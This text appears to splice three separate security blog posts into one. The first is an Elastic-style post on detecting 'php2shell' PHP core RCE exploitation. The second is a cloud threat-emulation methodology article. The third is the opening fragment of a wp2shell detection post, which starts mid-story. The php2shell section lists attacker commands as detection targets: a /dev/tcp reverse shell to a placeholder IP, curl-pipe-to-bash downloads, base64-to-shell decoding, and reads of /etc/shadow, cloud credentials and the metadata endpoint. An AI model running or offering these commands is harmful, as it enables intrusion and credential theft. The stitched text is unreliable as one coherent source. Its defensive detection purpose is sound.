PHP runs behind a very large share of the web: WordPress, Drupal, Joomla, and Magento, shared hosting and control panels, and a long tail of vendor software that bundles a PHP runtime without advertising it. When a critical bug lands in PHP core rather than in one application on top of it, the number of places you have to inventory grows quickly.

The PHP security team and the reporting researchers have now published the technical root cause, a pair of memory-safety bugs in PHP core, but at the time of writing there is still no reliable public proof-of-concept to run end to end. That is an awkward position for a defender, because you cannot simply run the exploit and watch the rules fire. It is not, however, a blind spot. An RCE in a PHP web application ends in the same observable place: a PHP worker process doing something a PHP worker process should not do. That convergent behavior is what we detect, and it is what this post is about.

In this post, we will cover:

• What the advisory confirmed about CVE-2026-109618 and CVE-2026-109619, and what it means for defenders.

• Why php2shell will likely behave like generic PHP backend exploitation.

• The convergent post-exploitation flow, and the Elastic rules that cover this behavior.

• How to assess and prepare potential coverage before the PoC lands, and what to do right now.

We have walked a PHP-adjacent RCE end-to-end before, in Detecting wp2shell: WordPress pre-authentication RCE in the wild, which turned out to use the same precedence and was caught through similar pre-built behavioral rules.

What we know about CVE-2026-109618 and CVE-2026-109619

Here is what is verified at the time of writing, and what is not.

What we know. Both vulnerabilities are unauthenticated remote code execution flaws in PHP core, each rated critical by the PHP security team with a CVSS v4.0 score of 9.2. They were reported by Wiz Research, which identified them with the help of frontier AI models and coordinated disclosure with the PHP project. Additionally, a web page called php2shell was created and contains a lot of relevant information about the vulnerability. Information leaked on October 20 ahead of the embargo, which is why PHP moved its release forward to October 21 at 14:00 UTC. With that release, PHP published the patched versions, the affected branches, and the technical root cause.The PHP security team patched the vulnerabilities through commit 31c0ea7d7ff1d1fccb6492e52dab544011628065.

What we do not know. The advisory names two distinct root-cause classes, both reachable by an unauthenticated web request:

• CVE-2026-109618, RCE via out-of-memory (OOM) corruption (GHSA-w8hw-w9fx-j79w): out-of-memory handling can interrupt PHP while internal request data is only partially initialized, and request cleanup may then treat the invalid data as valid.

• CVE-2026-109619, RCE via stale global state (GHSA-6wmf-4rv5-p3rp): request-owned internal state can survive after its backing memory has been freed, and a later request handled by the same worker may use that stale state before normal initialization resets it.

Fixed versions are PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35. The risk spans any PHP installation serving web requests, including PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP, and LiteSpeed, with the PHP team flagging mod_php as highest risk because an unauthenticated request can trigger the issue before any application code runs. PHP 8.1 and older no longer receive updates from the PHP project, though minimal source backports were provided for 7.4, 8.0, and 8.1, and some distributions and LTS vendors ship backported fixes.

Based on public reporting, the activity maps to Exploit Public-Facing Application (T1190), and once an attacker has code execution, to Command and Scripting Interpreter (T1059) and Server Software Component: Web Shell (T1505.003).

Is there a php.ini mitigation for php2shell?

The PHP security team is explicit that there are no complete mitigations and that updating is the only safe choice. It does, however, document configuration measures that reduce exposure to specific attack paths without making an installation safe. For the OOM-corruption path (CVE-2026-109618), set memory_limit=-1 in a way applications cannot override (for example php_admin_value in the FPM pool or Apache configuration), keep post_max_size low, and enforce a container or cgroup limit rather than RLIMIT_AS or RLIMIT_DATA. For the stale-global-state path (CVE-2026-109619), set session.upload_progress.enabled=0 and restart every worker, which blocks the confirmed session paths but not all variants, and on PHP 8.5 set fatal_error_backtraces=0. Apply these through php.ini, an FPM pool, or server configuration that takes effect before request parsing; ini_set() and .user.ini do not help. Treat all of these as temporary exposure reduction, not a fix, and be skeptical of social-media guidance that presents a single config toggle as a complete solution.

Why php2shell exploitation likely looks like every other PHP RCE

We now know the bug class: two memory-safety bugs in PHP core, but the detection opportunity is in the outcome, not the trigger.

A remote attacker exploiting a PHP web application wants code execution in the context of the web stack, and that context is a predictable set of processes: php-fpm and its workers, php-cgi, lsphp, or a general web server like apache2, httpd, or nginx driving PHP. Once the attacker has execution inside that context, the next actions are almost always the same regardless of how they got there:

• Confirm access. A first command through a shell to prove execution and establish identity: id, whoami, uname -a, hostname, or cat /etc/os-release.

• Enumerate for escalation. Quick checks for a path to root: sudo -l, find / -perm -u=s -type f for SUID binaries, getcap -r / for capabilities, or reading /etc/passwd and /etc/shadow.

• Stage through an interpreter. Pivot out of the shell into a richer runtime: python3 -c, perl -e, ruby -e, node -e, or back into PHP itself with php -r, often to run code that never touches disk.

• Pull second-stage tooling. Retrieve a payload with curl -O or wget -O, or pipe it straight into an interpreter (curl http(s)://... | bash, wget -qO- http(s)://... | sh).

• Decode a staged payload inline. Unpack an embedded blob without a download: echo <b64> | base64 -d | sh, openssl enc -d, or xxd -r.

• Open a reverse shell. The usual primitives: bash -i >& /dev/tcp/<ip>/<port> 0>&1, mkfifo paired with nc, socat, a Python pty.spawn, or PHP fsockopen.

• Harvest credentials and cloud identity. Read .env files, ~/.aws/credentials, a mounted service account token under (var)/run/secrets/kubernetes.io/, or the instance metadata endpoint at 169.254.169.254.

• Drop a webshell. Write attacker-controlled PHP into the web root (.php, .phtml), sometimes disguised as an image polyglot or a double extension such as avatar.php.jpg to slip past upload validation.

• Establish persistence beyond the shell. Add a cron entry, a systemd unit, or an SSH key to ~/.ssh/authorized_keys so access survives a webshell cleanup.

This is exactly the host footprint we walked end-to-end in the wp2shell post. There, a completely different bug (a WordPress REST batch route confusion) ended in apache2 spawning dash to run sh -c -- id; whoami; hostname, and plugin files landing under wp-content/. The entry point was WordPress-specific. The thing that fired the detections was not. A web server process spawning a shell or writing a payload is abnormal no matter which vulnerability opened the door, which is why we build detection on that behavior rather than on an exploit string that doesn’t exist yet. Although we can generally predict the outcome, we can never be entirely certain that we fully cover the threat, as there could be other forms of post-exploitation that we don't catch, like creation of an account or fileless PHP script execution.

That is the core of predicting coverage before a PoC lands: detect the convergent flow, not the specific trigger.

The php2shell post-exploitation flow: what a compromised web server does next

This section is the durable, exploit-agnostic layer. It keys on a web server process (PHP runtimes and general web servers) taking an action that is abnormal for a request-serving daemon. We group the coverage by the observable outcome. Endpoint (EDR) rules are shipped in the public protections-artifacts repository and can prevent as well as alert; SIEM rules are shipped in the public detection-rules repository. The queries below show only the distinctive predicate, not the full rule with all of its production exclusions.

Process execution: the web server spawns a shell

The tightest signal for "a PHP RCE just succeeded" is a request-serving process spawning a shell to run a suspicious command. The endpoint rule keys on a non-interactive web server parent launching a shell with a high-risk command line, and terminates it where prevention is enabled:

This maps to the endpoint rule Payload Execution by Web Server, which covers a broad set of web server parents (the PHP runtimes, Apache, nginx, and many application servers) and a long catalog of suspicious command lines, from discovery commands through reverse shells, decoding pipelines, and credential-file access. It is the rule that terminated dash in the wp2shell run.

On the SIEM side, two rules cover the same shell activity without a preventive action, which lets them carry fewer exclusions and reduce the risk of false negatives. Suspicious Command Execution via Web Server matches known-bad command lines from a web server parent. Unusual Command Execution via Web Server is a new_terms rule: it learns which shell command lines each web server parent normally runs on a host, then alerts on lines that break the baseline. A fresh exploit introduces command lines the host has never seen, so the two stack well together.

Child execution: the web server spawns a non-shell child

Not every PHP RCE goes through a shell. A php2shell payload may invoke an interpreter directly (python -c, perl -e), pull tooling with a downloader, or drop into a reverse-shell helper. Two SIEM rules cover a web server spawning children outside its normal set:

We have an endpoint rule named Suspicious Web Server Child Process, which covers a broad set of web parents and potentially suspicious child processes. This rule has response actions to kill the child process. 

For SIEM, we have a similar but broader rule named Suspicious Child Execution via Web Server, which keys on a web server parent whose child is run from a suspicious path (/tmp/, /dev/shm/, /var/tmp/, the web root) or is a suspicious binary (an interpreter, a networking utility, a cloud CLI, a file with a script extension). Unusual Child Execution via Web Server applies the new_terms approach to child executions, surfacing child processes a given web server has never spawned on that host. They did not fire in the wp2shell run, because that chain went through dash and standard discovery binaries that the command-execution rules already cover, but they are the layer that catches a variant invoking curl | bash or python -c directly.

Payload download: the web server pulls second-stage tooling

A common follow-on to PHP RCE is retrieving a second-stage payload. The endpoint rule Payload Downloaded via Curl or Wget by Web Server detects a web server parent invoking curl or wget through a shell to save a remote file to disk or pipe it into an interpreter, and terminates it where prevention is enabled. It did not need to fire in the wp2shell PoC, which carried its own payload, but it is a high-value layer for a real intrusion that stages tooling from an external host.

File creation: the PHP webshell drop

Before any command runs, the attacker often has to write a file: a webshell, a dropped script, an uploaded archive. A web server writing new executable or script content into the web root is abnormal outside of a deployment. Three rules cover this from different angles:

• Unusual File Creation via Web Server is a new_terms rule that flags a web server creating or renaming a file it does not normally touch.

• Unusual File Creation by Web Server is a building block rule that surfaces unusual file creations by a web server parent, useful as correlation context rather than a standalone alert.

• File with High Entropy Created by Web Server keys on a web server writing a high-entropy file with a web-executable extension, a common sign of an encoded or encrypted payload such as an obfuscated .phtml webshell.

How to prepare coverage for php2shell before the exploit exists

Because the post-exploitation flow is predictable, you can line up coverage now rather than scrambling when the exploit code appears. Enable these pre-built SIEM rules on any host running PHP or a web server:

• Suspicious Command Execution via Web Server

• Unusual Command Execution via Web Server

• Suspicious Child Execution via Web Server

• Unusual Child Execution via Web Server

• Unusual File Creation via Web Server

• Unusual File Creation by Web Server

• File with High Entropy Created by Web Server

• Web Shell Detection: Script Process Child of Common Web Processes

Deploy Elastic Defend with prevention enabled on those same hosts to add the endpoint layer, which can terminate processes that match the applicable behavioral rules. The high-entropy rule require Elastic Stack 9.3.0 or later. In the Elastic Defend integration policy, under advanced settings, set linux.advanced.events.populate_file_data to true and verify that incoming file events include file.Ext.entropy for the high-entropy rule.

The coverage spans two data sources, process and file, which is why both layers matter:

Public Elastic rule guidance for the php2shell post-exploitation flow

Telemetry source

Elastic detection rule

Process

Payload Execution by Web Server (EDR)

Process

Payload Downloaded via Curl or Wget by Web Server (EDR)

Process

Suspicious Web Server Child Process (EDR)

Process

Suspicious Command Execution via Web Server

Process

Unusual Command Execution via Web Server

Process

Suspicious Child Execution via Web Server

Process

Unusual Child Execution via Web Server

File

Unusual File Creation via Web Server

File

Unusual File Creation by Web Server

File

File with High Entropy Created by Web Server

If your web stack runs behind a parent process that is not yet in these lists, let us know so we can extend their scope.

How to find PHP installs that may be affected by php2shell

Start by identifying PHP deployments across Linux and Windows, including runtimes bundled with other applications. Patched versions are PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35, so use the queries below to inventory PHP across your environment and prioritize anything that is unpatched or end of life.

Find PHP through process telemetry

In Kibana Discover, select a data view containing process events, such as logs-endpoint.events.process-*, and search the available retention period, for example, the last 7 days:

Review host.name, process.executable, process.parent.executable, and container.id where available. The query includes common Windows process names such as php.exe and php-cgi.exe. Parent-process matches can also reveal PHP workers through their recorded child processes.

Locate PHP installs on Linux and Windows

Process telemetry can miss inactive installations. Use Osquery to check common system and hosting-platform locations for PHP binaries and Apache PHP modules. The first example runs the query for Linux systems:

The second query checks common Windows standalone and bundled installations.

This results in the following example hits:

We can also leverage OSQuery’s deb_package and rpm_package tables:

And:

Of course, this is a short list of potential locations; use your own inventory to scan your environment. Extend these paths for other drives, custom installations, and vendor software. Inspect container filesystems separately. File matches may include unused installations, wrappers, or helper utilities. Missing results do not establish that PHP is absent.

What to do about CVE-2026-109618 and CVE-2026-109619 right now

PHP has released the fixes, so patching is now the priority, with exposure reduction for anything you cannot patch immediately:

1. Inventory every PHP install you own. Start with internet-facing web servers, then go looking for the less obvious locations: vendor appliances and software that bundle a PHP runtime, control panels, and anything running WordPress, Drupal, Joomla, or Magento.

2. Patch internet-facing systems first, to PHP 8.5.12, 8.4.27, 8.3.36, or 8.2.35, and check your Linux distribution and hosting provider for backported packages.

3. Identify end-of-life PHP. If you are running PHP 8.1 or older, the PHP project no longer ships updates, though minimal source backports exist for 7.4, 8.0, and 8.1 and some vendors provide backported packages. Upgrade, take it off the internet, or place it behind a VPN or web application firewall until you can.

4. If you cannot patch immediately, apply PHP's documented partial mitigations (for example session.upload_progress.enabled=0, and a constrained memory_limit and post_max_size), but treat them as temporary exposure reduction, not a fix.

5. If you find something, isolate the host and preserve web server and PHP logs. Look for webshells and new files in the web root, along with new cron jobs, services, and accounts.

php2shell detection: what holds regardless of the root cause

CVE-2026-109618 and CVE-2026-109619 are two critical, unauthenticated PHP core RCE flaws that were publicly identified before their coordinated disclosure. The patched releases (8.5.12, 8.4.27, 8.3.36, 8.2.35) and the two root-cause classes are now public, but the post-exploitation outcome is what makes them detectable: a web server process spawning a shell, pulling a payload, or dropping a webshell into the web root. Elastic already ships the behavioral layer that catches that convergent flow across both process and file telemetry.

Patch now, isolate what you cannot patch, and verify the web-server-to-shell detection stack is enabled on your PHP hosts. We will revisit this post with concrete telemetry as reliable public exploitation details emerge.

Cloud threat emulation is not firing an API call and calling it done. Public practice already says the quiet part out loud. Intelligence-driven impersonation of real adversary TTPs, in a controlled environment, to test and improve defenses;. The MITRE Center for Threat-Informed Defense Adversary Emulation Library is a clear expression of that plan-first shape. We build on similar pillars, then alter the approach for cloud detection engineering: scope in layers, threat model, execute, verify telemetry, and tear down clean.

In cloud, SaaS, and identity environments, that same discipline matters even more. There is often no malware sample, sandbox, or incident artifact to replay. You research the behavior. Threat models it all, including the victim’s environment. You provision the right resources and identities, execute, and capture the telemetry. Then you ask the only question that matters for detection engineering: "Is this data actually useful for detection?”

Endpoint atomic testing can get away with a host and a payload. Cloud threat emulation for detection engineering cannot. Identities, control-plane APIs, eventual consistency, and logging that ships half-off change what “reproducing the behavior” even means. That is the so what. Cloud threat emulation/detection engineering (TE/DE) needs its own approach, not a port of the endpoint habit.

Plenty of tooling helps you perform the nefarious bits, whether or not it cleanly mimics a red team or a named adversary. Stratus Red Team, Atomic Red Team, CloudGoat, ROADTools, Splunk ATT&CK Range, and a pile of homegrown scripts all get used that way. Anyone who has done this work knows how much planning and testing, and cleanup still sits around the detonation itself. Cloud detection is also not "call an API, alert on that API." That is a fast path to noise and the principal detection engineer’s office. IAM context, prerequisites, expected outcomes, and realistic execution all matter. Poor emulation produces poor data. Poor data produces poor detections.

A daily note from us to you:

This post is Part 1 of our cloud threat emulation series: our cloud-focused take on that methodology, built on public threat-emulation pillars and altered where cloud and detection engineering force different habits. Part 2 will cover agents, skills, and AI executing it in practice. We know boring stuff first sucks. Do it anyway. Context and breakdown come before an ambitious agent gets anywhere useful.

What cloud threat emulation actually requires

• Emulation is plan-first: objectives, threat model, victim model, operational flow, then execution.

• Scope in layers: atomic, micro, or full; same lifecycle, different depth.

• Start from a compromised identity. Admin sessions and out-of-order API calls produce pretty demos and bad detection data.

• Telemetry and coverage are outputs that you verify, not assumptions that you write rules against.

• Automation can remove repetitive work. Engineers still own realism and assumptions, in addition to whether a detection is worth shipping.

Where practice usually stalls

In theory it's a short loop: research, plan, run, observe, and improve. Center for Threat-Informed Defense (CTID) plans, atomic tests, and report-derived flows all say that. In cloud the middle gets fuzzy.

Starting point varies. Off-the-shelf tool aimed at a tenant, colorful CLI, cool ASCII art, done. Or a tool that scaffolds infra and chains toward a micro or full plan. Or last quarter's script, half-finished Terraform, manual CLI after a report. The shapes differ, but the stall is the same. Most of the day is still spent on victim and threat modeling, then proving the result was useful for detection.

Tools that stop at detonation leave you with an attack fired off and not enough said about what landed in the logs, whether logging was on. They also don’t tell you whether the behavior is detectable. And that is after the tedious part. A break-glass account, the right compromised identity, assumed network settings from thin blogs, data worth stealing, logging actually configured. A tool might spare you some clicking. It rarely spares you proper planning. Don't get us started on virtual networks where resources talk to each other…successfully.

Then the attack, and it lasts about four minutes. The field name isn't what you remembered, and the coverage board still looks green. Then the detection question arrives with the batteries already flat.

Public practice isn't wrong. Cloud detection engineering just needs the same plan-first discipline that public practice uses, plus extras cloud makes non-optional: victim realism, threat modeling, IAM progression, telemetry verification, coverage triage, and cleanup that can fail closed. Without it, your emulations will either lack actual meaning/context or be in-accurate to the intended behavior you want to capture telemetry for.

A cloud threat emulation methodology

We try to treat useful cloud emulation as one lifecycle:

1. Define the objective and scope (atomic, micro, or full).

2. Research and threat-model the behavior.

3. Model the victim environment and starting IAM.

4. Build the operational flow.

5. Provision a controlled lab.

6. Execute with context.

7. Verify telemetry against real events.

8. Evaluate detection coverage.

9. Document assumptions and findings.

10. Clean up completely, and then repeat

The cloud-specific work is making the threat and victim modeling, IAM, environment, telemetry, and teardown first-class instead of afterthoughts.

Treat it as a state machine, not a vibe. You cannot execute what you have not deployed. You should not redeploy on top of a half-dead environment. Cleanup has to handle both planned infrastructure and attacker-created leftovers (orphaned resources). After cleanup, redeployment is always valid. Skipping states is how labs get contaminated and findings get soft. Then your telemetry analysis becomes a cauldron of alphanumeric spaghettios with no clear distinction between overlapping emulations.

Start with the question and the scope

Not every emulation starts the same way. Pick the question, then pick the depth:

Mode

Question

Typical input

Intelligence-driven

Can we reproduce behavior described in public research or a CTID-style plan?

Blog, advisory, campaign report, emulation plan

Rule-driven

Does an existing rule actually fire on the intended behavior?

Detection rule TOML / query

Coverage-driven

Which known techniques do we not currently detect?

ATT&CK or data-source gap

Hypothesis-driven

Could an adversary realistically abuse this service or permission?

Threat model of a service / IAM pattern

We prefer to think in three layers of scope:

• Atomic: quick and dirty. One technique, one clear signal question.

• Micro: more planned. Still missing a larger scope, but it can pull in other resources, especially when chaining one or two behaviors (for example discover > stage > exfil).

• Full: larger scope. End-to-end at times, and it can cover multiple planes and surfaces.

Public libraries map onto this in different ways. Atomic Red Team lives mostly in the first layer, while CTID micro and full plans sit in the other two. We use the three-layer split because it matches how we actually scope cloud work, not because one repo owns the vocabulary.

What changes is the source material and how wide you cast the net; the rest of the lifecycle doesn’t change. Keep it tool-agnostic. The plan is the product, and the tool is optional scaffolding.

Intelligence-driven work should stay faithful to the source. Don’t invent victim details that make the demo easier. Rule-driven work is different. The rule tells you API actions and fields, but you often infer identity type, permissions, and environment. Flag those assumptions. Hypothesis-driven work is where judgment matters most. Model what a real adversary would do, almost always from a stolen identity or compromised instance, not portal clicks. All of this is operations-plane API work.

Model the threat and the environment first

How hard this section is depends on scope.

An atomic run of a red-teamer proof of concept (PoC) is often behavior-driven so one technique, one signal question, thin environment. You still need a plan, but you are not rebuilding a hybrid enterprise to prove CreateAccessKey lands in CloudTrail.

A micro or full run is different. CTID-style plans, and intelligence-driven writeups of long compromises, force threat modeling and victim accuracy to carry the exercise. If Microsoft or another shop publishes end-to-end research across hybrid Windows, Entra, AD, and M365, skipping environment fidelity is how you get a demo that fires APIs and teaches you almost nothing about detection. The larger the scope, the more variables matter, and the less you can cheat with a god-mode principal that can do everything from step one.

Before executing anything, answer the planning questions:

• What is the adversary attempting to achieve?

• What does the source actually describe (and what is it silent on)?

• What resources and controls exist in the victim environment?

• What access path is available at the start, and what has to be earned later?

• What assumptions are we making about the scenario?

• Would each action realistically succeed here, or only in a cartoon lab?

Technically valid commands can still produce unrealistic emulations when the threat model and victim model do not match such as wrong foothold, wrong permissions, wrong resources, wrong controls, wrong network path.

Access path is one piece of that model, not the whole model. Micro and full runs usually start from a foothold the scenario allows, not a blank admin session:

Foothold type

What it models

Stolen long-term credentials

IAM user keys, service principal secrets, service account keys

Assumed / escalated role

STS assumed role, managed identity, IRSA

Compromised compute

EC2 instance profile, GKE pod SA, Azure VM managed identity

Do not treat the ATT&CK ladder as a script you recite once either. Micro and full emulations are rarely a clean Discovery > Credential Access > Persistence > Escalation > Objectives parade. Tactics repeat, behaviors loop and when something fails, the operator adjusts, and the next move is opportunistic. That is the hard part, and it is also where the useful telemetry lives.

End-to-end work makes the dependency problem obvious. You cannot jump to the sexy stage with full admin to everything. Certain steps have to complete, produce an artifact, and unlock the next one. It is not always glamorous. Land on an EC2 instance, enumerate the host, pull the instance role, discover the security group, open egress for a callback port, then move. Failures are part of the model too. A denied call, a missing permission, a control that blocks the path. Real adversaries change the toolset and plan when that happens. Your emulation should too, instead of quietly attaching AdministratorAccess so the blog screenshot stays pretty.

Use only what that stage would have. Do not grant the initial foothold full admin unless the scenario models that. Do not reach for your admin session because it is already open. Same goes for rolling virtual networks with 0.0.0.0/0 everywhere. It is not realistic. Don't do it. At least we hope it is not realistic. If you like to play in traffic, that is on you.

Build a controlled, reproducible lab

Before any apply, stop for approval. Present the objective, threat model, victim model, identity model, operational flow, infrastructure needs, and a cost estimate if compute or metered services are involved. That is the cloud version of scope, rules of engagement, and permission to execute. We hope you are not a one-person team so feel free to phone-a-friend for a second set of eyes.

Keep the lab disposable on purpose:

• Fully owned research tenants / accounts

• Consistent provisioning (IaC, frameworks, or scripts)

• Admin setup separated from adversary execution

• Dedicated identities and resources per run

• Everything tracked, including attacker-created leftovers

• Easy redeploy, complete destroy

A practical habit is to give every run a unique emulation tag (name + short random id, e.g. void-blizzard-a3f8c1) and put it in resource names, identities, session names, and labels. Not the star of the methodology. Useful for keeping concurrent runs from colliding, pulling the right slice of telemetry when races get messy, and finding orphaned leftovers during cleanup.

When you do filter later (assuming you already spent time setting up the ingestion), a query can be as simple as:

That only works if the tag is actually in the ARN string (user name, role name, or STS session name). A resource tag alone will not show up there.

On Azure, resource-group (RG) naming helps for Activity Logs. Identity-plane work still needs sign-in and audit telemetry too. Do not pretend one RG filter covers Entra.

Track two resource classes:

1. Provisioned by Terraform/Ansible. In state. Destroyed with terraform destroy.

2. Orphaned during execution (backdoor users, keys, topics, role assignments). Not in state. Cleaned up first.

Always destroy orphans before provisioned resources. Scope Azure work to one resource group per run. Force-destroy storage. Restrict compute inbound access to the engineer’s IP. Never 0.0.0.0/0 "just for the lab."

We REALLY want to caution orphaned resources on this, especially as we leverage LLMs. Nothing like an expensive AWS bill as a result of unstaged Kubernetes pods or an unpatched Apache Tomcat server which is now part of a crypto-campaign, rather than your emulation efforts.

Execute with context, then trust only the real events

The plan is only as good as the way you run it. You can fire a technique's exact commands and still get an emulation that does not teach you much. Context decides whether it is useful, and it starts upfront with threat modeling and planning. Vague steps produce vague telemetry. Contextual steps produce events you can actually detect against.

Vague: Initial access via user logging in.

Contextual: User opens a link to login.microsoftonline.com, reaches the portal in a browser, attempts login, and hits MFA with Entra ID as the IdP. They are instructed to share the MFA auth code over Teams. MFA is approved. No Conditional Access policies are broken. The adversary takes the auth code and exchanges it with Entra for a refresh token.

Vague: Exfiltrate data from S3.

Contextual: Foothold is an EC2 instance profile for a batch job, not an admin console session. The role can ListBucket / GetObject on prod-analytics. Objects are server‑side encryption with AWS Key Management Service (SSE-KMS), and the role has kms:Decrypt on that customer managed key (CMK). Copy to a same-account staging prefix first, then PutObject to an external bucket the role was mistakenly granted. CloudTrail data events are on for that bucket. Management events alone would miss the GetObject volume that makes the behavior visible.

Write the contextual version into the operational flow before you touch a CLI. Call, actor, target, expected result, and what should land in logs. Keep the failures too. A denied permission during recon is often the exact trace a detection should chase.

Cloud timing matters too. IAM is eventually consistent. Fixed sleep 30 makes flaky runs. Poll for new credentials. Use provider waiters. Give logs a settle window before you declare telemetry missing. When you get into the nuances of timing for query language sake, it can be challenging to not only understand but recreate acceptable historic windows.

Treat telemetry as an output of the emulation

Do not assume what the cloud recorded. Verify it.

Before you detonate, decide which log should capture each step and confirm it is on. A lot of data-access logging ships off. Then open the real events raw. The real event beats the docs, your memory and an engineer who built the schema normalization layer several years ago but took a competitor’s offer and left little documentation. Memory invents field names. A rule written against a name that is almost right never fires. A model does the same thing and sounds more sure of itself.

Look for what is missing too: late, partial, or absent telemetry. Sometimes the technique leaves no useful trace. That is a finding! Knowing something is invisible is worth as much as detecting it. Last check should be “does this data distinguish the attacker from normal activity?”

Evaluate coverage against the exercise, not the matrix

An ATT&CK board that is all green is reassuring and often misleading. It counts rules by name and mapping, not by what they do against this telemetry.

Throw the exercise's events at your rules and look at what fires and why:

1. Rule fires for the right reason. Good.

2. Rule fires on a different link in the chain. Less good.

3. A different rule fires by accident and dies if one detail changes. Weak.

4. A perfectly named, perfectly mapped rule whose query never touches this telemetry. Inventory coverage. Incident silence.

Then decide the next move. Should you create a new rule, tune, request a missing log, hunt, or investigate more before changing anything. Having a rule per action is not the same thing as reliable detection. Whoever gets that alert at three in the morning also cares about what it does not cover.

Document, clean up, and make it repeatable

You can regenerate a command tomorrow. The reasoning does not come back unless you wrote it down.

Capture why that behavior, how you modeled the victim, which identity did what, what worked, what failed, what telemetry appeared, what coverage existed, and what is still open. Assumptions are the part you will need later. When a rule gets noisy, somebody asks what "normal" meant when you wrote it. If nobody wrote that down, the comfortable move is to raise the threshold until it goes quiet. Date environmental claims. Commands age. Reasoning is what you reuse.

A useful write-up looks like a short engagement report, not a command diary:

• Objective, scope, and source material

• Threat model and ATT&CK mapping

• Victim model and assumptions

• Operational flow / timeline (action, API call, identity, result)

• Observations and credential progression

• Detection opportunities and coverage outcomes

• Infrastructure summary and cleanup status

• Recommendations (new rule, tune, hunt, follow-up emulation)

Cleanup is part of the methodology, not housekeeping. Leftovers can contaminate the next run. Infrastructure in code comes down easily. Attacker-created roles, keys, and grants do not unless you tracked them. Temporary credentials can outlive the role that issued them. Logging you enabled for the exercise has to come back off. Verify by tag, and make sure that check can fail. Keep the plan and the findings. Delete the rest. Worse, you half-ass an emulation with no care about public exposure and security posture, then have to join a call with IR to explain what the purpose of this rogue access point was. Saying “my bad” won’t save you.

Where automation helps, and where judgment stays

This is usually the part people skip to. Which is fair. Once the methodology is clear, a lot of the work is repetitive.

Automation (including agents and skills) can help with drafting threat and victim models from a report, rule, or plan; provisioning and tagging; executing with the right identity; tracking orphans; verifying telemetry against real events; searching coverage; writing up the run; and verifying cleanup.

Engineers still decide whether the scenario is realistic, whether assumptions are sound, whether existing coverage is truly equivalent, which behavior is worth detecting, whether a resulting detection helps customers, and whether the emulation stayed faithful to the original threat. We still strongly believe in human-in-the-loop (HITL) value no matter how much you want to flex new models and tokenmaxxing.

The split between automated work and engineer judgment matters. The goal is not to replace threat-informed practice with vibes, and it is not to remove the practitioner. The goal is to make the methodology repeatable in cloud at the pace the problem demands, so human time goes into realism, judgment, and detection quality.

What's next in Part 2

If you made it this far, here’s the important meat between our memes

• Start with the question, not the tool. Define what you are trying to prove first.

• Pick the right scope. Atomic, micro, or full depending on the question.

• Threat model before execution. Know the adversary objective and source assumptions.

• Model the victim too. Resources, controls, identities, and network paths matter.

• Start from a believable foothold. Avoid defaulting to admin access.

• IAM progression matters. Use only the permissions available at each stage.

• Respect dependencies. Earlier actions should realistically unlock later ones.

• Failures are useful. Denied or blocked actions can produce valuable telemetry.

• Build disposable labs. Make provisioning, isolation, and teardown repeatable.

• Tag every run. Unique identifiers simplify telemetry and cleanup.

• Track attacker-created resources. IaC will not know about every artifact created during execution.

• Cleanup is part of the exercise. Remove leftovers and verify the environment is clean.

• Context beats API spam. Define the actor, target, prerequisites, and expected result.

• Cloud timing matters. Account for propagation, readiness, and log delays.

• Telemetry is an output. Verify what actually lands in the logs.

• Missing telemetry is a finding. Invisible or incomplete behavior still teaches you something.

• Trust the real event. Do not build detections from remembered field names.

• Test coverage against the exercise. ATT&CK mappings alone do not prove detection.

• A firing rule can still be weak coverage. Make sure it fired for the intended reason.

• Not every gap needs a rule. Sometimes the answer is a tune, hunt, logging change, or more research.

• Document the reasoning. Preserve assumptions, identity progression, failures, telemetry, and outcomes.

• Treat the lab like a state machine. Run from known-good states and avoid contaminated environments.

• Automate the repetitive work. Research, provisioning, execution, telemetry checks, and cleanup can all benefit.

• Keep human judgment in the loop. Engineers still own realism, value, and detection quality.

• The plan is the durable artifact. Tools change; the methodology and reasoning are what you reuse.

What Part 2 covers: agents running the emulation lifecycle

Part 2 is where this stops being a methodology post. Agents, skills, and concrete runs: turn a research post or rule into a lab, verify what landed in the logs, triage coverage, tear it down. Same lifecycle. Less theory.

Emulate responsibly!

References

• MITRE Center for Threat-Informed Defense: Adversary Emulation Library

• CTID Adversary Emulation Library overview

• TryHackMe / community notes: Intro to Threat Emulation

• Red Canary Atomic Red Team

Scanning followed immediately, and we are already seeing the same host footprint in customer telemetry: PHP and web server runtimes spawning shells, plugin directories appearing under wp-content/plugins/, and access-log markers from stock tooling.

This post is the defender-facing follow-up. We ran the public Icex0 PoC end-to-end in a lab with Elastic Defend, traced the attack chain in Kibana, and mapped each stage to the rules that fire. If you are patching and triaging right now, that rule walkthrough is the core of the post. We close with IOCs for quick hunts.

This post covers:

• What wp2shell is, which versions are exposed, and where to read the full technical breakdown.
• The PoC wave and what live telemetry looks like.
• An end-to-end lab run: PoC execution, the attack chain on disk, and each detection rule that triggers (and why).
• Network and host IOCs to hunt while public tooling is still unchanged.

Patch to 7.0.2 or 6.9.5 first. Check exposure at wp2shell.com and treat any internet-facing vulnerable instance as potentially compromised until patched.

Scope: public PoCs and observed Linux host behavior

This post follows publicly available PoCs and the behaviors they produce on a Linux host, in conjunction with telemetry we have observed. Attackers can rename plugins, rewrite payloads, or drop webshells outside the plugin directory (for example, under wp-content/cache/, as SANS ISC documented). Hunt the IOCs while they are fresh, but rely on behavioral detection for durability.

What is wp2shell

wp2shell is a pre-authentication exploit chain against WordPress Core's REST batch endpoint (/wp-json/batch/v1, or /?rest_route=/batch/v1). No plugins required.

| WordPress branch | Exposure | Fixed in | | :---- | :---- | :---- | | <= 6.8.5 | Not affected by the full RCE chain | n/a | | 6.8.0 to 6.8.5 | SQL injection only (no full RCE chain on this branch) | Patch to a non-vulnerable release (6.8.6) | | 6.8.6 | Patched / Not vulnerable (SQL injection fixed) | Included in 6.8.6 | | 6.9.0 to 6.9.4 | Full pre-auth RCE chain | 6.9.5 | | 7.0.0 to 7.0.1 | Full pre-auth RCE chain | 7.0.2 |

The bug is a route confusion in WordPress batch handling. When sub-requests inside a batch call get out of sync, a request can be dispatched under the wrong REST handler. Public chains nest batches to bypass method restrictions, then reach a pre-auth SQL injection primitive through query parameters that should not apply on the route they land on.

From there, tooling differs: the Icex0 PoC escalates through a SQLi-to-administrator bridge and plugin upload; other actors drop a webshell straight to disk via SQL INTO OUTFILE. Both end the same way for defenders: attacker-controlled PHP on the host, then command execution through the web stack.

That is the short version. For the full chain, read Searchlight Cyber's advisory, their methodology write-up, and the Icex0 PoC README. SANS ISC captured an in-the-wild SQLi payload if you want raw HTTP context.

